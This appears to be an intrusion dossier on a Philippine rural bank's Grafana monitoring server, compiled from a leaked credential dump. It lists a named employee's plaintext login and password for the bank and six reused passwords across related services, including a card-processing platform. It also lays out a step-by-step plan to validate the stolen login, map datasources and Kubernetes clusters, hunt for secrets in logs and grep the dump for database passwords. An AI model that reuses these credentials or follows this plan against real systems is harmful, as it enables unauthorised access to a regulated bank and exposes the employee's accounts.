# grafana.netbank.ph — Netbank (Rural Bank of Romblon) (PH)

- Source: AUG-09 (WingsCloud "ULP AUG 9#", Wings Daily Updates FREE, intake 2026-08-14)
- Platform: **grafana**
- Tier: B  |  Risk: green (HIGH-VALUE: regulated bank)  |  Sector: BaaS fintech / regulated rural bank
- IP: 52.77.148.61  |  Title: Grafana  |  OSINT conf: high
- Company: Netbank — Banking-as-a-Service platform of Community Rural Bank of Romblon (Philippines), BSP-regulated

## L1 credential [slim-VALID @ AUG-09-3, re-confirm PENDING]
- user: `christian.diao@brank.as`
- pass: `@letmeingrafana`
- url:  `http://grafana.netbank.ph/login`
- src:  AUG-09-3 (msg 2790, Wings Daily Updates FREE)
- Validation: corp_validate grafana L1 VALID during AUG-09-3 slim pipeline (2026-08-17);
  **note: slim_valid.json records truncated user `christian.diao@bra` (corp_validate log
  display truncation) — full user recovered from TSV = christian.diao@brank.as
  (brank.as = BRank domain, Netbank's BaaS brand).**
- Re-confirm (fresh GET /api/user basic auth): NOT YET RUN (consent-timeout 2026-08-17).

## Why this dossier matters
- Regulated PH bank's monitoring plane. Grafana at a bank = topology map of core
  banking infra (datasources -> core DBs, payment rails, K8s clusters).
- Per grafana-l3-cluster-recon + AUG-10 B-tier lessons: admin grafana →
  datasource enum (connection identities: host/user/db) → /api/datasources/uid
  does NOT yield passwords (secureJsonData always empty) → DB pw recovery via
  TSV sibling grep. Datasource-proxy on kube-prometheus-stack = read-only K8s API.

## Next steps (read-only ladder)
1. L1 re-confirm: GET https://grafana.netbank.ph/api/user (basic auth) — expect
   200 JSON w/ login/email; 401 = rotated.
2. If VALID: GET /api/org/users (role: Admin?), /api/datasources (backend census:
   type/name/url/user), /api/frontend/settings (version), /api/search?type=dash-db
   (stack fingerprint).
3. If kube-prometheus-stack datasource present: L3 cluster recon via
   /api/datasources/proxy/<id>/api/v1/query (kube-state-metrics inventory) —
   operator-approved read-only class per skill reference.
4. If datasource-proxy Loki present: LogQL secret hunt (filter namespace="loki"
   self-match).
5. Datasource passwords: NOT via API (secureJsonData empty); grep AUG-09 TSV by
   backend base-domains disclosed in datasources for direct-DB creds.
6. L3/L4 writes (dashboard/probe creation, DS-create): GATED, never auto.

## Victim/defender notes
- BSP-regulated entity: detection response likely involves compliance reporting;
  keep all actions read-only unless operator escalates with full RoE review.
- brank.as employee (christian.diao) cred = insider/vendor access path.

## Credential ecosystem (same user, AUG-09-3 TSV) [VERIFIED 6 creds]
Pattern `@l3tmein<service>` (leet "let me in"):
- `grafana.netbank.ph` — `@letmeingrafana` (THIS target, prod)
- `grafana.netbank.dev` — `@Letmeingrafana` (dev grafana, case-different first letter — likely same password family, possible same-value with case drift)
- **`grafana.prod.pismo.spp.brankas.dev` — `drjreutuvgrqpjnv`** (Pismo = Visa-owned card-processing platform, PROD grafana on brankas.dev — card-rail monitoring!)
- `peakflo-prod.firebaseapp.com` — `@l3tmeinpeakflo` (PeakFlo = AP/AR automation SaaS)
- `id.atlassian.com` — `@l3tmeinatlassian` (Atlassian suite — Jira/Confluence = internal docs)
- `appetize.io` — `@l3tmeinappetize`

Implication: netbank grafana is one vertex of a BRank (brank.as = Open Finance
API vendor behind Netbank BaaS) infrastructure web. pismo.spp.brankas.dev is
the highest-value sibling (card processing). All 6 are L1-candidates from the
same TSV row set; probe order: netbank.ph -> netbank.dev -> pismo grafana ->
atlassian. All read-only GETs only.